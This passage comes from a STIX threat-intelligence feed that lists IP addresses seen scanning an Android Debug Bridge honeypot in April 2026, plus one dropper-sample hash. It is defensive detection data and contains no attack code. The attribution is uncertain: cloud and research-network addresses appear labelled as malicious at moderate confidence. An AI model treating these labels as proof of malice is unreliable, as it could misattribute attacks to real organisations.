          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 21,
          "first_seen": "2026-04-29T21:08:10.000Z",
          "last_seen": "2026-04-30T12:35:04.484Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "202412"
          ],
          "org": [
            "Omegatech LTD"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=CN; asn=4134; asn_org=Chinanet; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-30T02:39:42.000Z | last_seen=2026-04-30T02:40:47.084Z | ports=5555 | cc=CN | asn=4134 | org=Chinanet",
      "id": "indicator--6fe06833-87aa-4148-87aa-b69a3eaa49db",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '106.34.132.153']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:00:02.000Z",
      "valid_until": "2026-06-01T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-30T02:39:42.000Z",
          "last_seen": "2026-04-30T02:40:47.084Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4134"
          ],
          "org": [
            "Chinanet"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=23 | first_seen=2026-04-30T02:05:23.000Z | last_seen=2026-04-30T02:16:51.754Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--bcda6eda-cba1-4347-ac1b-cf184eadfed7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '205.210.31.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:00:02.000Z",
      "valid_until": "2026-06-01T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 23,
          "first_seen": "2026-04-30T02:05:23.000Z",
          "last_seen": "2026-04-30T02:16:51.754Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T03:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=19; ports=5555; cc=GB; asn=201002; asn_org=PebbleHost Ltd; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=19 | first_seen=2026-04-30T02:10:13.000Z | last_seen=2026-04-30T02:20:45.638Z | ports=5555 | cc=GB | asn=201002 | org=PebbleHost Ltd",
      "id": "indicator--39bb51e8-9c01-49cb-a2bf-52c608a6f5f5",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '85.11.183.23']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T03:00:02.000Z",
      "valid_until": "2026-06-01T03:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 19,
          "first_seen": "2026-04-30T02:10:13.000Z",
          "last_seen": "2026-04-30T02:20:45.638Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "201002"
          ],
          "org": [
            "PebbleHost Ltd"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T07:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=FR; asn=16276; asn_org=OVH SAS; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-30T06:44:43.000Z | last_seen=2026-04-30T06:46:21.250Z | ports=5555 | cc=FR | asn=16276 | org=OVH SAS",
      "id": "indicator--e07088f4-ab34-49f4-acc7-0b515cc82d89",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '51.77.165.232']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T07:00:03.000Z",
      "valid_until": "2026-06-01T07:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-30T06:44:43.000Z",
          "last_seen": "2026-04-30T06:46:21.250Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "16276"
          ],
          "org": [
            "OVH SAS"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T10:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=17; ports=5555; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=17 | first_seen=2026-04-30T09:45:09.000Z | last_seen=2026-04-30T09:58:24.446Z | ports=5555 | cc=DE | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--f35c703e-e0a2-4650-9431-0c4448dc4938",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '207.154.207.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T10:00:02.000Z",
      "valid_until": "2026-06-01T10:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 17,
          "first_seen": "2026-04-30T09:45:09.000Z",
          "last_seen": "2026-04-30T09:58:24.446Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=GB; asn=13213; asn_org=Thg Hosting Limited; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-30T10:46:14.000Z | last_seen=2026-04-30T10:47:16.708Z | ports=5555 | cc=GB | asn=13213 | org=Thg Hosting Limited",
      "id": "indicator--59ff8baa-e992-4022-9a26-8ac46289d90b",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '109.123.117.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:00:02.000Z",
      "valid_until": "2026-06-01T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-30T10:46:14.000Z",
          "last_seen": "2026-04-30T10:47:16.708Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "GB"
          ],
          "asn": [
            "13213"
          ],
          "org": [
            "Thg Hosting Limited"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-30T10:39:00.000Z | last_seen=2026-04-30T10:40:03.697Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--1b016ba0-6940-48bb-a256-44fe17940df1",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '157.230.179.248']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:00:02.000Z",
      "valid_until": "2026-06-01T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-30T10:39:00.000Z",
          "last_seen": "2026-04-30T10:40:03.697Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T11:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=11; ports=5555; cc=US; asn=16509; asn_org=Amazon.com, Inc.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=11 | first_seen=2026-04-30T10:46:19.000Z | last_seen=2026-04-30T10:56:33.047Z | ports=5555 | cc=US | asn=16509 | org=Amazon.com, Inc.",
      "id": "indicator--f5758546-b522-4052-8cea-dde2cd60b79c",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '3.101.23.204']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T11:00:02.000Z",
      "valid_until": "2026-06-01T11:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 11,
          "first_seen": "2026-04-30T10:46:19.000Z",
          "last_seen": "2026-04-30T10:56:33.047Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "16509"
          ],
          "org": [
            "Amazon.com, Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T12:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-30T11:15:38.000Z | last_seen=2026-04-30T11:16:39.466Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--5773cd7b-d115-4e63-86da-c76b4ee4cdac",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T12:00:11.000Z",
      "valid_until": "2026-06-01T12:00:10.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-30T11:15:38.000Z",
          "last_seen": "2026-04-30T11:16:39.466Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T13:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=18; ports=5555; cc=SG; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=18 | first_seen=2026-04-30T12:29:47.000Z | last_seen=2026-04-30T12:40:02.030Z | ports=5555 | cc=SG | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--a5ae844c-a263-497f-8093-23a5fd977507",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '139.59.233.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T13:00:02.000Z",
      "valid_until": "2026-06-01T13:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 18,
          "first_seen": "2026-04-30T12:29:47.000Z",
          "last_seen": "2026-04-30T12:40:02.030Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SG"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=63949; asn_org=Akamai Connected Cloud; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=5 | first_seen=2026-04-30T15:47:02.000Z | last_seen=2026-04-30T15:48:06.456Z | ports=5555 | cc=US | asn=63949 | org=Akamai Connected Cloud",
      "id": "indicator--b8bb4bad-5a72-44a8-950b-521e8405cdec",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '172.234.192.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:00:02.000Z",
      "valid_until": "2026-06-01T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 5,
          "first_seen": "2026-04-30T15:47:02.000Z",
          "last_seen": "2026-04-30T15:48:06.456Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "63949"
          ],
          "org": [
            "Akamai Connected Cloud"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-30T15:01:23.000Z | last_seen=2026-04-30T15:11:27.726Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--fcfc1e0d-0410-4991-9783-d3bab88da479",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:00:02.000Z",
      "valid_until": "2026-06-01T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-30T15:01:23.000Z",
          "last_seen": "2026-04-30T15:11:27.726Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=4 | first_seen=2026-04-30T15:01:00.000Z | last_seen=2026-04-30T15:02:10.257Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--4bcda25e-1d8f-400f-a86a-057c1720cfb7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:00:02.000Z",
      "valid_until": "2026-06-01T16:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 4,
          "first_seen": "2026-04-30T15:01:00.000Z",
          "last_seen": "2026-04-30T15:02:10.257Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T16:00:02.000Z",
      "description": "ADB dropper sample / Captured within last 1h by ADBHoney; outfile=dl/59ac9b7e686b64e11559f2407447e2b1dd873026f9149a1a866a977dd934f908.raw; last_seen=2026-04-30T15:51:55.980Z",
      "id": "indicator--2ab61bd8-0c72-49a7-9afd-b65030359454",
      "labels": [
        "nadsec",
        "tpot",
        "adbhoney",
        "dropper",
        "sample",
        "sha256"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[file:hashes.'SHA-256' = '59ac9b7e686b64e11559f2407447e2b1dd873026f9149a1a866a977dd934f908']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "valid_until": "",
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Hash observed as dropped sample via ADBHoney (outfile-derived)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04"
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T19:00:03.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=1; ports=5555; cc=FR; asn=51167; asn_org=Contabo GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=1 | first_seen=2026-04-30T18:44:43.941Z | last_seen=2026-04-30T18:44:43.941Z | ports=5555 | cc=FR | asn=51167 | org=Contabo GmbH",
      "id": "indicator--45e22534-a34e-4752-b9a3-b29e96f1e271",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '194.163.134.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T19:00:03.000Z",
      "valid_until": "2026-06-01T19:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 1,
          "first_seen": "2026-04-30T18:44:43.941Z",
          "last_seen": "2026-04-30T18:44:43.941Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "FR"
          ],
          "asn": [
            "51167"
          ],
          "org": [
            "Contabo GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=7; ports=5555; cc=US; asn=20001; asn_org=Charter Communications Inc; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=7 | first_seen=2026-04-30T19:12:33.000Z | last_seen=2026-04-30T19:22:42.375Z | ports=5555 | cc=US | asn=20001 | org=Charter Communications Inc",
      "id": "indicator--f790332b-cb1e-4e34-9be0-be9af1aea836",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-04-30T23:35:52Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 April 2026",
      "pattern": "[ipv4-addr:value = '23.240.197.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T20:00:02.000Z",
      "valid_until": "2026-06-01T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-04",
          "event_count": 7,
          "first_seen": "2026-04-30T19:12:33.000Z",
          "last_seen": "2026-04-30T19:22:42.375Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "20001"
          ],
          "org": [
            "Charter Communications Inc"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-04-30T22:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=22; ports=5555; cc=HK; asn=9009; asn_org=M247 Europe SRL; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-04. events=22 | first_seen=2026-04-30T21:09:46.000Z | last_seen=2026-04-30T21:20:19.454Z | ports=5555 | cc=HK | asn=9009 | org=M247 Europe SRL",
      "id": "indicator--b206602f-7d88-4e21-ade6-0fea77812cd9",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
